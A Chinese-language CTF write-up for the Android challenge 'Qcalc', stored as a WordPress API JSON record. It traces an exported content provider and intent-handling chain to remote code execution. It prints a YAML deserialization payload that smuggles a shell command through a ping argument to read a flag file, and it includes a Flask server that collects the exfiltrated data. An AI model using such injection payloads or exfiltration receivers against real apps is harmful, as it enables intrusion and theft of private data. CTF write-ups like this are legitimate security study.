{"id":1493,"date":"2025-10-20T00:01:31","date_gmt":"2025-10-19T16:01:31","guid":{"rendered":"https:\/\/blog.shangwendada.top\/?p=1493"},"modified":"2025-10-20T00:06:46","modified_gmt":"2025-10-19T16:06:46","slug":"%e5%bc%ba%e7%bd%91%e6%9d%afs9qcalc","status":"publish","type":"post","link":"https:\/\/blog.shangwendada.top\/index.php\/2025\/10\/20\/%e5%bc%ba%e7%bd%91%e6%9d%afs9qcalc\/","title":{"rendered":"[\u5f3a\u7f51\u676fS9]Qcalc"},"content":{"rendered":"

\u9996\u5148\u662f\u67e5\u770b\u5bfc\u51fa\u7684Activity \u53ea\u6709MainActivity\u5bfc\u51fa\uff0c\u4f46\u53d1\u73b0\u6709\u5bfc\u51fa\u7684contentProvider
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\"file\"<\/div><\/p>\n

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\"file\"<\/div>
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\n\u5ba1\u8ba1MainAcitivy\u4e3b\u8981\u662f\u4e24\u4e2a\u5904\u7406intent\u7684\u5730\u65b9
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\n
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\n
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\n\u8fd9\u91cc\u53d1\u73b0\u52a0\u8f7d\u4e86yaml\u6587\u4ef6\u7136\u540e\u53c8startAcitivy\uff0c\u672c\u6765\u4ee5\u4e3a\u662f\u53ef\u4ee5\u901a\u8fc7\u8fd9\u4e2a\u7136\u540e\u6784\u9020content:\/\/com.qinquang.calc\/..\/flag-xxxxxx.txt\u7ed9\u6211\u7684poc apk\u7684\u4f46\u662fyaml\u8bed\u6cd5\u4e0d\u77e5\u9053\u600e\u4e48\u56de\u4e8b\uff0c\u597d\u50cf\u6784\u9020\u4e0d\u4e86\u65e0\u9650\u62a5\u9519
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\"file\"<\/div>
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\n\u76ee\u524d\u68b3\u7406\u8c03\u7528\u94fe\u5c31\u662fSave Intent -> Expected -> Save Intetn -> Expected -> RCE
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\"file\"<\/div>
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\"file\"<\/div>
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\n
\"file\"<\/div>
\n\u7136\u800capk\u6743\u9650\u7684shell\u4e5f\u65e0\u6cd5\u5199\u5165\u5230data\/local\/tmp
\n\u540e\u60f3\u8d77\u4e4b\u524d\u53ef\u63a7\u7684history.yml\uff0c\u5c06flag\u56de\u5199\u5230history.yml\u518d\u8bfb\u53d6\u51fa\u6765\u5c31\u53ef\u4ee5\u4e86
\n\u6784\u9020\u51fa\u7684yml\u6587\u4ef6\u5982\u4e0b
\n"!!com.qinquang.calc.PingUtil \\"8.8.8.8; FLAG=$(cat \/data\/data\/com.qinquang.calc\/flag-*.txt); echo \\\\"—\\\\nflag: $FLAG\\\\n…\\\\" > \/data\/data\/com.qinquang.calc\/files\/history.yml\\"";
\n\u6700\u540e\u5982\u4f55\u53d1\u9001\u53c8\u6210\u4e86\u95ee\u9898\uff0c\u8fd9\u91cc\u5efa\u7acb\u4e00\u4e2a\u670d\u52a1\u7aef<\/p>\n
from flask import Flask, request\nimport base64\n\napp = Flask(__name__)\n\n@app.route('\/receive', methods=['POST', 'GET'])\ndef receive_data():\n    if request.method == 'POST':\n        data = request.form.get('flag') or request.form.get('data')\n    else:\n        data = request.args.get('flag') or request.args.get('data')\n\n    if data:\n        try:\n            # \u5c1d\u8bd5base64\u89e3\u7801\n            decoded = base64.b64decode(data).decode('utf-8')\n            print(f"\u89e3\u7801\u540e\u7684\u6570\u636e: {decoded}")\n            with open('received_flags.txt', 'a') as f:\n                f.write(f"{decoded}\\n")\n        except:\n            print(f"\u539f\u59cb\u6570\u636e: {data}")\n            with open('received_flags.txt', 'a') as f:\n                f.write(f"{data}\\n")\n\n    print(f"\u6536\u5230\u8bf7\u6c42: {request.method}")\n    print(f"Headers: {dict(request.headers)}")\n    print(f"Form data: {request.form}")\n    print(f"Args: {request.args}")\n\n    return "OK", 200\n\nif __name__ == '__main__':\n    app.run(host='0.0.0.0', port=8000, debug=True)\n<\/code><\/pre>\n
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\n
\"file\"<\/div>
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\n
\"file\"<\/div><\/p>\n
\"file\"<\/div><\/p>\n
\"file\"<\/div>
\n
\"file\"<\/div>
\n
\"file\"<\/div>
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\"file\"<\/div>
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\"file\"<\/div>
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\n\u5199wp\u6536flag\u622a\u56fe\uff1a
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\"file\"<\/div><\/p>\n
\u4ee3\u7801POC\u89c1\uff1ahttps:\/\/github.com\/SHangwendada\/QclacPoc<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"
\u9996\u5148\u662f\u67e5\u770b\u5bfc\u51fa\u7684Activity \u53ea\u6709MainActivity\u5bfc\u51fa\uff0c\u4f46\u53d1\u73b0\u6709\u5bfc\u51fa\u7684contentProvide […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-1493","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/blog.shangwendada.top\/index.php\/wp-json\/wp\/v2\/posts\/1493","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.shangwendada.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.shangwendada.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.shangwendada.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.shangwendada.top\/index.php\/wp-json\/wp\/v2\/comments?post=1493"}],"version-history":[{"count":4,"href":"https:\/\/blog.shangwendada.top\/index.php\/wp-json\/wp\/v2\/posts\/1493\/revisions"}],"predecessor-version":[{"id":1520,"href":"https:\/\/blog.shangwendada.top\/index.php\/wp-json\/wp\/v2\/posts\/1493\/revisions\/1520"}],"wp:attachment":[{"href":"https:\/\/blog.shangwendada.top\/index.php\/wp-json\/wp\/v2\/media?parent=1493"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.shangwendada.top\/index.php\/wp-json\/wp\/v2\/categories?post=1493"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.shangwendada.top\/index.php\/wp-json\/wp\/v2\/tags?post=1493"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}